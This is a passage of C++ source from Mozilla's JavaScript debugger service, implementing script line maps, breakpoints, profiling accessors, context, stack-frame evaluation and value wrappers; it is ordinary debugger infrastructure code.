*/ JSD_LockScriptSubsystem(mCx); mFileName = new nsCString(JSD_GetScriptFilename(mCx, mScript)); mFunctionName = new nsCString(); if (mFunctionName) { JSString *str = JSD_GetScriptFunctionId(mCx, mScript); if (str) AssignToJSString(mFunctionName, str); } mBaseLineNumber = JSD_GetScriptBaseLineNumber(mCx, mScript); mLineExtent = JSD_GetScriptLineExtent(mCx, mScript); mFirstPC = JSD_GetClosestPC(mCx, mScript, 0); JSD_UnlockScriptSubsystem(mCx); mValid = true; } } jsdScript::~jsdScript () { DEBUG_DESTROY ("jsdScript", gScriptCount); delete mFileName; delete mFunctionName; if (mPPLineMap) PR_Free(mPPLineMap); /* Invalidate() needs to be called to release an owning reference to * ourselves, so if we got here without being invalidated, something * has gone wrong with our ref count. */ NS_ASSERTION (!mValid, "Script destroyed without being invalidated."); } /* * This method populates a line <-> pc map for a pretty printed version of this * script. It does this by decompiling, and then recompiling the script. The * resulting script is scanned for the line map, and then left as GC fodder. */ PCMapEntry * jsdScript::CreatePPLineMap() { JSContext *cx = JSD_GetDefaultJSContext (mCx); JSAutoRequest ar(cx); JSObject *obj = JS_NewObject(cx, NULL, NULL, NULL); JSFunction *fun = JSD_GetJSFunction (mCx, mScript); JSScript *script; /* In JSD compartment */ uint32_t baseLine; JSString *jsstr; size_t length; const jschar *chars; if (fun) { unsigned nargs; { JSAutoCompartment ac(cx, JS_GetFunctionObject(fun)); nargs = JS_GetFunctionArgumentCount(cx, fun); if (nargs > 12) return nullptr; jsstr = JS_DecompileFunctionBody (cx, fun, 4); if (!jsstr) return nullptr; if (!(chars = JS_GetStringCharsAndLength(cx, jsstr, &length))) return nullptr; } JS::Anchor kungFuDeathGrip(jsstr); const char *argnames[] = {"arg1", "arg2", "arg3", "arg4", "arg5", "arg6", "arg7", "arg8", "arg9", "arg10", "arg11", "arg12" }; fun = JS_CompileUCFunction (cx, obj, "ppfun", nargs, argnames, chars, length, "x-jsd:ppbuffer?type=function", 3); if (!fun || !(script = JS_GetFunctionScript(cx, fun))) return nullptr; baseLine = 3; } else { script = JSD_GetJSScript(mCx, mScript); JSString *jsstr; { JS::AutoEnterScriptCompartment ac; if (!ac.enter(cx, script)) return nullptr; jsstr = JS_DecompileScript (cx, script, "ppscript", 4); if (!jsstr) return nullptr; if (!(chars = JS_GetStringCharsAndLength(cx, jsstr, &length))) return nullptr; } JS::Anchor kungFuDeathGrip(jsstr); script = JS_CompileUCScript (cx, obj, chars, length, "x-jsd:ppbuffer?type=script", 1); if (!script) return nullptr; baseLine = 1; } uint32_t scriptExtent = JS_GetScriptLineExtent (cx, script); jsbytecode* firstPC = JS_LineNumberToPC (cx, script, 0); /* allocate worst case size of map (number of lines in script + 1 * for our 0 record), we'll shrink it with a realloc later. */ PCMapEntry *lineMap = static_cast (PR_Malloc((scriptExtent + 1) * sizeof (PCMapEntry))); uint32_t lineMapSize = 0; if (lineMap) { for (uint32_t line = baseLine; line < scriptExtent + baseLine; ++line) { jsbytecode* pc = JS_LineNumberToPC (cx, script, line); if (line == JS_PCToLineNumber (cx, script, pc)) { lineMap[lineMapSize].line = line; lineMap[lineMapSize].pc = pc - firstPC; ++lineMapSize; } } if (scriptExtent != lineMapSize) { lineMap = static_cast (PR_Realloc(mPPLineMap = lineMap, lineMapSize * sizeof(PCMapEntry))); if (!lineMap) { PR_Free(mPPLineMap); lineMapSize = 0; } } } mPCMapSize = lineMapSize; return mPPLineMap = lineMap; } uint32_t jsdScript::PPPcToLine (uint32_t aPC) { if (!mPPLineMap && !CreatePPLineMap()) return 0; uint32_t i; for (i = 1; i < mPCMapSize; ++i) { if (mPPLineMap[i].pc > aPC) return mPPLineMap[i - 1].line; } return mPPLineMap[mPCMapSize - 1].line; } uint32_t jsdScript::PPLineToPc (uint32_t aLine) { if (!mPPLineMap && !CreatePPLineMap()) return 0; uint32_t i; for (i = 1; i < mPCMapSize; ++i) { if (mPPLineMap[i].line > aLine) return mPPLineMap[i - 1].pc; } return mPPLineMap[mPCMapSize - 1].pc; } NS_IMETHODIMP jsdScript::GetJSDContext(JSDContext **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdScript::GetJSDScript(JSDScript **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mScript; return NS_OK; } NS_IMETHODIMP jsdScript::GetVersion (int32_t *_rval) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetDefaultJSContext (mCx); JSScript *script = JSD_GetJSScript(mCx, mScript); JS::AutoEnterScriptCompartment ac; if (!ac.enter(cx, script)) return NS_ERROR_FAILURE; *_rval = static_cast(JS_GetScriptVersion(cx, script)); return NS_OK; } NS_IMETHODIMP jsdScript::GetTag(uint32_t *_rval) { if (!mTag) mTag = ++jsdScript::LastTag; *_rval = mTag; return NS_OK; } NS_IMETHODIMP jsdScript::Invalidate() { ASSERT_VALID_EPHEMERAL; mValid = false; /* release the addref we do in FromPtr */ jsdIScript *script = static_cast (JSD_GetScriptPrivate(mScript)); NS_ASSERTION (script == this, "That's not my script!"); NS_RELEASE(script); JSD_SetScriptPrivate(mScript, NULL); return NS_OK; } void jsdScript::InvalidateAll () { JSDContext *cx; if (NS_FAILED(gJsds->GetJSDContext (&cx))) return; JSDScript *script; JSDScript *iter = NULL; JSD_LockScriptSubsystem(cx); while((script = JSD_IterateScripts(cx, &iter)) != NULL) { nsCOMPtr jsdis = static_cast(JSD_GetScriptPrivate(script)); if (jsdis) jsdis->Invalidate(); } JSD_UnlockScriptSubsystem(cx); } NS_IMETHODIMP jsdScript::GetIsValid(bool *_rval) { *_rval = mValid; return NS_OK; } NS_IMETHODIMP jsdScript::SetFlags(uint32_t flags) { ASSERT_VALID_EPHEMERAL; JSD_SetScriptFlags(mCx, mScript, flags); return NS_OK; } NS_IMETHODIMP jsdScript::GetFlags(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptFlags(mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetFileName(nsACString &_rval) { _rval.Assign(*mFileName); return NS_OK; } NS_IMETHODIMP jsdScript::GetFunctionName(nsACString &_rval) { _rval.Assign(*mFunctionName); return NS_OK; } NS_IMETHODIMP jsdScript::GetParameterNames(uint32_t* count, PRUnichar*** paramNames) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetDefaultJSContext (mCx); if (!cx) { NS_WARNING("No default context !?"); return NS_ERROR_FAILURE; } JSFunction *fun = JSD_GetJSFunction (mCx, mScript); if (!fun) { *count = 0; *paramNames = nullptr; return NS_OK; } JSAutoRequest ar(cx); JSAutoCompartment ac(cx, JS_GetFunctionObject(fun)); unsigned nargs; if (!JS_FunctionHasLocalNames(cx, fun) || (nargs = JS_GetFunctionArgumentCount(cx, fun)) == 0) { *count = 0; *paramNames = nullptr; return NS_OK; } PRUnichar **ret = static_cast(NS_Alloc(nargs * sizeof(PRUnichar*))); if (!ret) return NS_ERROR_OUT_OF_MEMORY; void *mark; uintptr_t *names = JS_GetFunctionLocalNameArray(cx, fun, &mark); if (!names) { NS_Free(ret); return NS_ERROR_OUT_OF_MEMORY; } nsresult rv = NS_OK; for (unsigned i = 0; i < nargs; ++i) { JSAtom *atom = JS_LocalNameToAtom(names[i]); if (!atom) { ret[i] = 0; } else { JSString *str = JS_AtomKey(atom); ret[i] = NS_strndup(JS_GetInternedStringChars(str), JS_GetStringLength(str)); if (!ret[i]) { NS_FREE_XPCOM_ALLOCATED_POINTER_ARRAY(i, ret); rv = NS_ERROR_OUT_OF_MEMORY; break; } } } JS_ReleaseFunctionLocalNameArray(cx, mark); if (NS_FAILED(rv)) return rv; *count = nargs; *paramNames = ret; return NS_OK; } NS_IMETHODIMP jsdScript::GetFunctionObject(jsdIValue **_rval) { JSFunction *fun = JSD_GetJSFunction(mCx, mScript); if (!fun) return NS_ERROR_NOT_AVAILABLE; JSObject *obj = JS_GetFunctionObject(fun); if (!obj) return NS_ERROR_FAILURE; JSDContext *cx; if (NS_FAILED(gJsds->GetJSDContext (&cx))) return NS_ERROR_NOT_INITIALIZED; JSDValue *jsdv = JSD_NewValue(cx, OBJECT_TO_JSVAL(obj)); if (!jsdv) return NS_ERROR_OUT_OF_MEMORY; *_rval = jsdValue::FromPtr(cx, jsdv); if (!*_rval) { JSD_DropValue(cx, jsdv); return NS_ERROR_OUT_OF_MEMORY; } return NS_OK; } NS_IMETHODIMP jsdScript::GetFunctionSource(nsAString & aFunctionSource) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetDefaultJSContext (mCx); if (!cx) { NS_WARNING("No default context !?"); return NS_ERROR_FAILURE; } JSFunction *fun = JSD_GetJSFunction (mCx, mScript); JSAutoRequest ar(cx); JSString *jsstr; mozilla::Maybe ac; JS::AutoEnterScriptCompartment asc; if (fun) { ac.construct(cx, JS_GetFunctionObject(fun)); jsstr = JS_DecompileFunction (cx, fun, 4); } else { JSScript *script = JSD_GetJSScript (mCx, mScript); if (!asc.enter(cx, script)) return NS_ERROR_FAILURE; jsstr = JS_DecompileScript (cx, script, "ppscript", 4); } if (!jsstr) return NS_ERROR_FAILURE; size_t length; const jschar *chars = JS_GetStringCharsZAndLength(cx, jsstr, &length); if (!chars) return NS_ERROR_FAILURE; aFunctionSource = nsDependentString(chars, length); return NS_OK; } NS_IMETHODIMP jsdScript::GetBaseLineNumber(uint32_t *_rval) { *_rval = mBaseLineNumber; return NS_OK; } NS_IMETHODIMP jsdScript::GetLineExtent(uint32_t *_rval) { *_rval = mLineExtent; return NS_OK; } NS_IMETHODIMP jsdScript::GetCallCount(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptCallCount (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetMaxRecurseDepth(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptMaxRecurseDepth (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetMinExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptMinExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetMaxExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptMaxExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetTotalExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptTotalExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetMinOwnExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptMinOwnExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetMaxOwnExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptMaxOwnExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::GetTotalOwnExecutionTime(double *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_GetScriptTotalOwnExecutionTime (mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::ClearProfileData() { ASSERT_VALID_EPHEMERAL; JSD_ClearScriptProfileData(mCx, mScript); return NS_OK; } NS_IMETHODIMP jsdScript::PcToLine(uint32_t aPC, uint32_t aPcmap, uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; if (aPcmap == PCMAP_SOURCETEXT) { *_rval = JSD_GetClosestLine (mCx, mScript, mFirstPC + aPC); } else if (aPcmap == PCMAP_PRETTYPRINT) { *_rval = PPPcToLine(aPC); } else { return NS_ERROR_INVALID_ARG; } return NS_OK; } NS_IMETHODIMP jsdScript::LineToPc(uint32_t aLine, uint32_t aPcmap, uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; if (aPcmap == PCMAP_SOURCETEXT) { uintptr_t pc = JSD_GetClosestPC (mCx, mScript, aLine); *_rval = pc - mFirstPC; } else if (aPcmap == PCMAP_PRETTYPRINT) { *_rval = PPLineToPc(aLine); } else { return NS_ERROR_INVALID_ARG; } return NS_OK; } NS_IMETHODIMP jsdScript::EnableSingleStepInterrupts(bool enable) { ASSERT_VALID_EPHEMERAL; /* Must have set interrupt hook before enabling */ if (enable && !jsdService::GetService()->CheckInterruptHook()) return NS_ERROR_NOT_INITIALIZED; return (JSD_EnableSingleStepInterrupts(mCx, mScript, enable) ? NS_OK : NS_ERROR_FAILURE); } NS_IMETHODIMP jsdScript::GetExecutableLines(uint32_t aPcmap, uint32_t aStartLine, uint32_t aMaxLines, uint32_t* aCount, uint32_t** aExecutableLines) { ASSERT_VALID_EPHEMERAL; if (aPcmap == PCMAP_SOURCETEXT) { uintptr_t start = JSD_GetClosestPC(mCx, mScript, 0); unsigned lastLine = JSD_GetScriptBaseLineNumber(mCx, mScript) + JSD_GetScriptLineExtent(mCx, mScript) - 1; uintptr_t end = JSD_GetClosestPC(mCx, mScript, lastLine + 1); *aExecutableLines = static_cast(NS_Alloc((end - start + 1) * sizeof(uint32_t))); if (!JSD_GetLinePCs(mCx, mScript, aStartLine, aMaxLines, aCount, aExecutableLines, NULL)) return NS_ERROR_OUT_OF_MEMORY; return NS_OK; } if (aPcmap == PCMAP_PRETTYPRINT) { if (!mPPLineMap) { if (!CreatePPLineMap()) return NS_ERROR_OUT_OF_MEMORY; } nsTArray lines; uint32_t i; for (i = 0; i < mPCMapSize; ++i) { if (mPPLineMap[i].line >= aStartLine) break; } for (; i < mPCMapSize && lines.Length() < aMaxLines; ++i) { lines.AppendElement(mPPLineMap[i].line); } if (aCount) *aCount = lines.Length(); *aExecutableLines = static_cast(NS_Alloc(lines.Length() * sizeof(uint32_t))); if (!*aExecutableLines) return NS_ERROR_OUT_OF_MEMORY; for (i = 0; i < lines.Length(); ++i) (*aExecutableLines)[i] = lines[i]; return NS_OK; } return NS_ERROR_INVALID_ARG; } NS_IMETHODIMP jsdScript::IsLineExecutable(uint32_t aLine, uint32_t aPcmap, bool *_rval) { ASSERT_VALID_EPHEMERAL; if (aPcmap == PCMAP_SOURCETEXT) { uintptr_t pc = JSD_GetClosestPC (mCx, mScript, aLine); *_rval = (aLine == JSD_GetClosestLine (mCx, mScript, pc)); } else if (aPcmap == PCMAP_PRETTYPRINT) { if (!mPPLineMap && !CreatePPLineMap()) return NS_ERROR_OUT_OF_MEMORY; *_rval = false; for (uint32_t i = 0; i < mPCMapSize; ++i) { if (mPPLineMap[i].line >= aLine) { *_rval = (mPPLineMap[i].line == aLine); break; } } } else { return NS_ERROR_INVALID_ARG; } return NS_OK; } NS_IMETHODIMP jsdScript::SetBreakpoint(uint32_t aPC) { ASSERT_VALID_EPHEMERAL; uintptr_t pc = mFirstPC + aPC; JSD_SetExecutionHook (mCx, mScript, pc, jsds_ExecutionHookProc, NULL); return NS_OK; } NS_IMETHODIMP jsdScript::ClearBreakpoint(uint32_t aPC) { ASSERT_VALID_EPHEMERAL; uintptr_t pc = mFirstPC + aPC; JSD_ClearExecutionHook (mCx, mScript, pc); return NS_OK; } NS_IMETHODIMP jsdScript::ClearAllBreakpoints() { ASSERT_VALID_EPHEMERAL; JSD_LockScriptSubsystem(mCx); JSD_ClearAllExecutionHooksForScript (mCx, mScript); JSD_UnlockScriptSubsystem(mCx); return NS_OK; } /* Contexts */ NS_IMPL_THREADSAFE_ISUPPORTS2(jsdContext, jsdIContext, jsdIEphemeral) jsdIContext * jsdContext::FromPtr (JSDContext *aJSDCx, JSContext *aJSCx) { if (!aJSDCx || !aJSCx) return nullptr; nsCOMPtr jsdicx; nsCOMPtr eph = jsds_FindEphemeral (&gLiveContexts, static_cast(aJSCx)); if (eph) { jsdicx = do_QueryInterface(eph); } else { nsCOMPtr iscx; if (JS_GetOptions(aJSCx) & JSOPTION_PRIVATE_IS_NSISUPPORTS) iscx = static_cast(JS_GetContextPrivate(aJSCx)); jsdicx = new jsdContext (aJSDCx, aJSCx, iscx); } jsdIContext *ctx = nullptr; jsdicx.swap(ctx); return ctx; } jsdContext::jsdContext (JSDContext *aJSDCx, JSContext *aJSCx, nsISupports *aISCx) : mValid(true), mTag(0), mJSDCx(aJSDCx), mJSCx(aJSCx), mISCx(aISCx) { DEBUG_CREATE ("jsdContext", gContextCount); mLiveListEntry.value = this; mLiveListEntry.key = static_cast(aJSCx); jsds_InsertEphemeral (&gLiveContexts, &mLiveListEntry); } jsdContext::~jsdContext() { DEBUG_DESTROY ("jsdContext", gContextCount); if (mValid) { /* call Invalidate() to take ourselves out of the live list */ Invalidate(); } } NS_IMETHODIMP jsdContext::GetIsValid(bool *_rval) { *_rval = mValid; return NS_OK; } NS_IMETHODIMP jsdContext::Invalidate() { ASSERT_VALID_EPHEMERAL; mValid = false; jsds_RemoveEphemeral (&gLiveContexts, &mLiveListEntry); return NS_OK; } void jsdContext::InvalidateAll() { if (gLiveContexts) jsds_InvalidateAllEphemerals (&gLiveContexts); } NS_IMETHODIMP jsdContext::GetJSContext(JSContext **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mJSCx; return NS_OK; } NS_IMETHODIMP jsdContext::GetOptions(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JS_GetOptions(mJSCx); return NS_OK; } NS_IMETHODIMP jsdContext::SetOptions(uint32_t options) { ASSERT_VALID_EPHEMERAL; uint32_t lastOptions = JS_GetOptions(mJSCx); /* don't let users change this option, they'd just be shooting themselves * in the foot. */ if ((options ^ lastOptions) & JSOPTION_PRIVATE_IS_NSISUPPORTS) return NS_ERROR_ILLEGAL_VALUE; JS_SetOptions(mJSCx, options); return NS_OK; } NS_IMETHODIMP jsdContext::GetPrivateData(nsISupports **_rval) { ASSERT_VALID_EPHEMERAL; uint32_t options = JS_GetOptions(mJSCx); if (options & JSOPTION_PRIVATE_IS_NSISUPPORTS) { *_rval = static_cast(JS_GetContextPrivate(mJSCx)); NS_IF_ADDREF(*_rval); } else { *_rval = nullptr; } return NS_OK; } NS_IMETHODIMP jsdContext::GetWrappedContext(nsISupports **_rval) { ASSERT_VALID_EPHEMERAL; NS_IF_ADDREF(*_rval = mISCx); return NS_OK; } NS_IMETHODIMP jsdContext::GetTag(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; if (!mTag) mTag = ++jsdContext::LastTag; *_rval = mTag; return NS_OK; } NS_IMETHODIMP jsdContext::GetVersion (int32_t *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = static_cast(JS_GetVersion(mJSCx)); return NS_OK; } NS_IMETHODIMP jsdContext::SetVersion (int32_t id) { ASSERT_VALID_EPHEMERAL; JSVersion ver = static_cast(id); JS_SetVersion(mJSCx, ver); return NS_OK; } NS_IMETHODIMP jsdContext::GetGlobalObject (jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSObject *glob = JS_GetGlobalObject(mJSCx); JSDValue *jsdv = JSD_NewValue (mJSDCx, OBJECT_TO_JSVAL(glob)); if (!jsdv) return NS_ERROR_FAILURE; *_rval = jsdValue::FromPtr (mJSDCx, jsdv); if (!*_rval) return NS_ERROR_FAILURE; return NS_OK; } NS_IMETHODIMP jsdContext::GetScriptsEnabled (bool *_rval) { ASSERT_VALID_EPHEMERAL; if (!mISCx) { *_rval = true; return NS_OK; } nsCOMPtr context = do_QueryInterface(mISCx); if (!context) return NS_ERROR_NO_INTERFACE; *_rval = context->GetScriptsEnabled(); return NS_OK; } NS_IMETHODIMP jsdContext::SetScriptsEnabled (bool _rval) { ASSERT_VALID_EPHEMERAL; if (!mISCx) { if (_rval) return NS_OK; return NS_ERROR_NO_INTERFACE; } nsCOMPtr context = do_QueryInterface(mISCx); if (!context) return NS_ERROR_NO_INTERFACE; context->SetScriptsEnabled(_rval, true); return NS_OK; } /* Stack Frames */ NS_IMPL_THREADSAFE_ISUPPORTS2(jsdStackFrame, jsdIStackFrame, jsdIEphemeral) jsdStackFrame::jsdStackFrame (JSDContext *aCx, JSDThreadState *aThreadState, JSDStackFrameInfo *aStackFrameInfo) : mCx(aCx), mThreadState(aThreadState), mStackFrameInfo(aStackFrameInfo) { DEBUG_CREATE ("jsdStackFrame", gFrameCount); mValid = (aCx && aThreadState && aStackFrameInfo); if (mValid) { mLiveListEntry.key = aStackFrameInfo; mLiveListEntry.value = this; jsds_InsertEphemeral (&gLiveStackFrames, &mLiveListEntry); } } jsdStackFrame::~jsdStackFrame() { DEBUG_DESTROY ("jsdStackFrame", gFrameCount); if (mValid) { /* call Invalidate() to take ourselves out of the live list */ Invalidate(); } } jsdIStackFrame * jsdStackFrame::FromPtr (JSDContext *aCx, JSDThreadState *aThreadState, JSDStackFrameInfo *aStackFrameInfo) { if (!aStackFrameInfo) return nullptr; jsdIStackFrame *rv; nsCOMPtr frame; nsCOMPtr eph = jsds_FindEphemeral (&gLiveStackFrames, reinterpret_cast(aStackFrameInfo)); if (eph) { frame = do_QueryInterface(eph); rv = frame; } else { rv = new jsdStackFrame (aCx, aThreadState, aStackFrameInfo); } NS_IF_ADDREF(rv); return rv; } NS_IMETHODIMP jsdStackFrame::Invalidate() { ASSERT_VALID_EPHEMERAL; mValid = false; jsds_RemoveEphemeral (&gLiveStackFrames, &mLiveListEntry); return NS_OK; } void jsdStackFrame::InvalidateAll() { if (gLiveStackFrames) jsds_InvalidateAllEphemerals (&gLiveStackFrames); } NS_IMETHODIMP jsdStackFrame::GetJSDContext(JSDContext **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetJSDThreadState(JSDThreadState **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mThreadState; return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetJSDStackFrameInfo(JSDStackFrameInfo **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mStackFrameInfo; return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetIsValid(bool *_rval) { *_rval = mValid; return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetCallingFrame(jsdIStackFrame **_rval) { ASSERT_VALID_EPHEMERAL; JSDStackFrameInfo *sfi = JSD_GetCallingStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = jsdStackFrame::FromPtr (mCx, mThreadState, sfi); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetExecutionContext(jsdIContext **_rval) { ASSERT_VALID_EPHEMERAL; JSContext *cx = JSD_GetJSContext (mCx, mThreadState); *_rval = jsdContext::FromPtr (mCx, cx); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetFunctionName(nsACString &_rval) { ASSERT_VALID_EPHEMERAL; JSString *str = JSD_GetIdForStackFrame(mCx, mThreadState, mStackFrameInfo); if (str) return AssignToJSString(&_rval, str); _rval.Assign("anonymous"); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetIsDebugger(bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_IsStackFrameDebugger (mCx, mThreadState, mStackFrameInfo); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetIsConstructing(bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_IsStackFrameConstructing (mCx, mThreadState, mStackFrameInfo); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetScript(jsdIScript **_rval) { ASSERT_VALID_EPHEMERAL; JSDScript *script = JSD_GetScriptForStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = jsdScript::FromPtr (mCx, script); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetPc(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; JSDScript *script = JSD_GetScriptForStackFrame (mCx, mThreadState, mStackFrameInfo); if (!script) return NS_ERROR_FAILURE; uintptr_t pcbase = JSD_GetClosestPC(mCx, script, 0); uintptr_t pc = JSD_GetPCForStackFrame (mCx, mThreadState, mStackFrameInfo); if (pc) *_rval = pc - pcbase; else *_rval = pcbase; return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetLine(uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; JSDScript *script = JSD_GetScriptForStackFrame (mCx, mThreadState, mStackFrameInfo); if (script) { uintptr_t pc = JSD_GetPCForStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = JSD_GetClosestLine (mCx, script, pc); } else { return NS_ERROR_FAILURE; } return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetCallee(jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = JSD_GetCallObjectForStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetScope(jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = JSD_GetScopeChainForStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdStackFrame::GetThisValue(jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = JSD_GetThisForStackFrame (mCx, mThreadState, mStackFrameInfo); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdStackFrame::Eval (const nsAString &bytes, const nsACString &fileName, uint32_t line, jsdIValue **result, bool *_rval) { ASSERT_VALID_EPHEMERAL; if (bytes.IsEmpty()) return NS_ERROR_INVALID_ARG; // get pointer to buffer contained in |bytes| nsAString::const_iterator h; bytes.BeginReading(h); const jschar *char_bytes = reinterpret_cast(h.get()); JSExceptionState *estate = 0; jsval jv; JSContext *cx = JSD_GetJSContext (mCx, mThreadState); JSAutoRequest ar(cx); estate = JS_SaveExceptionState (cx); JS_ClearPendingException (cx); nsresult rv; nsCOMPtr stack = do_GetService("@mozilla.org/js/xpc/ContextStack;1", &rv); if (NS_SUCCEEDED(rv)) rv = stack->Push(cx); if (NS_FAILED(rv)) { JS_RestoreExceptionState (cx, estate); return rv; } *_rval = JSD_AttemptUCScriptInStackFrame (mCx, mThreadState, mStackFrameInfo, char_bytes, bytes.Length(), PromiseFlatCString(fileName).get(), line, &jv); if (!*_rval) { if (JS_IsExceptionPending(cx)) JS_GetPendingException (cx, &jv); else jv = JSVAL_NULL; } JS_RestoreExceptionState (cx, estate); #ifdef DEBUG JSContext* poppedCX; rv = stack->Pop(&poppedCX); NS_ASSERTION(NS_SUCCEEDED(rv) && poppedCX == cx, "bad pop"); #else (void) stack->Pop(nullptr); #endif JSDValue *jsdv = JSD_NewValue (mCx, jv); if (!jsdv) return NS_ERROR_FAILURE; *result = jsdValue::FromPtr (mCx, jsdv); if (!*result) return NS_ERROR_FAILURE; return NS_OK; } /* Values */ NS_IMPL_THREADSAFE_ISUPPORTS2(jsdValue, jsdIValue, jsdIEphemeral) jsdIValue * jsdValue::FromPtr (JSDContext *aCx, JSDValue *aValue) { /* value will be dropped by te jsdValue destructor. */ if (!aValue) return nullptr; jsdIValue *rv = new jsdValue (aCx, aValue); NS_IF_ADDREF(rv); return rv; } jsdValue::jsdValue (JSDContext *aCx, JSDValue *aValue) : mValid(true), mCx(aCx), mValue(aValue) { DEBUG_CREATE ("jsdValue", gValueCount); mLiveListEntry.value = this; jsds_InsertEphemeral (&gLiveValues, &mLiveListEntry); } jsdValue::~jsdValue() { DEBUG_DESTROY ("jsdValue", gValueCount); if (mValid) /* call Invalidate() to take ourselves out of the live list */ Invalidate(); } NS_IMETHODIMP jsdValue::GetIsValid(bool *_rval) { *_rval = mValid; return NS_OK; } NS_IMETHODIMP jsdValue::Invalidate() { ASSERT_VALID_EPHEMERAL; mValid = false; jsds_RemoveEphemeral (&gLiveValues, &mLiveListEntry); JSD_DropValue (mCx, mValue); return NS_OK; } void jsdValue::InvalidateAll() { if (gLiveValues) jsds_InvalidateAllEphemerals (&gLiveValues); } NS_IMETHODIMP jsdValue::GetJSDContext(JSDContext **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mCx; return NS_OK; } NS_IMETHODIMP jsdValue::GetJSDValue (JSDValue **_rval) { ASSERT_VALID_EPHEMERAL; *_rval = mValue; return NS_OK; } NS_IMETHODIMP jsdValue::GetIsNative (bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_IsValueNative (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetIsNumber (bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_IsValueNumber (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetIsPrimitive (bool *_rval) { ASSERT_VALID_EPHEMERAL; *_rval = JSD_IsValuePrimitive (mCx, mValue); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsType (uint32_t *_rval) { ASSERT_VALID_EPHEMERAL; jsval val; val = JSD_GetValueWrappedJSVal (mCx, mValue); if (JSVAL_IS_NULL(val)) *_rval = TYPE_NULL; else if (JSVAL_IS_BOOLEAN(val)) *_rval = TYPE_BOOLEAN; else if (JSVAL_IS_DOUBLE(val)) *_rval = TYPE_DOUBLE; else if (JSVAL_IS_INT(val)) *_rval = TYPE_INT; else if (JSVAL_IS_STRING(val)) *_rval = TYPE_STRING; else if (JSVAL_IS_VOID(val)) *_rval = TYPE_VOID; else if (JSD_IsValueFunction (mCx, mValue)) *_rval = TYPE_FUNCTION; else if (!JSVAL_IS_PRIMITIVE(val)) *_rval = TYPE_OBJECT; else NS_ASSERTION (0, "Value has no discernible type."); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsPrototype (jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = JSD_GetValuePrototype (mCx, mValue); *_rval = jsdValue::FromPtr (mCx, jsdv); return NS_OK; } NS_IMETHODIMP jsdValue::GetJsParent (jsdIValue **_rval) { ASSERT_VALID_EPHEMERAL; JSDValue *jsdv = 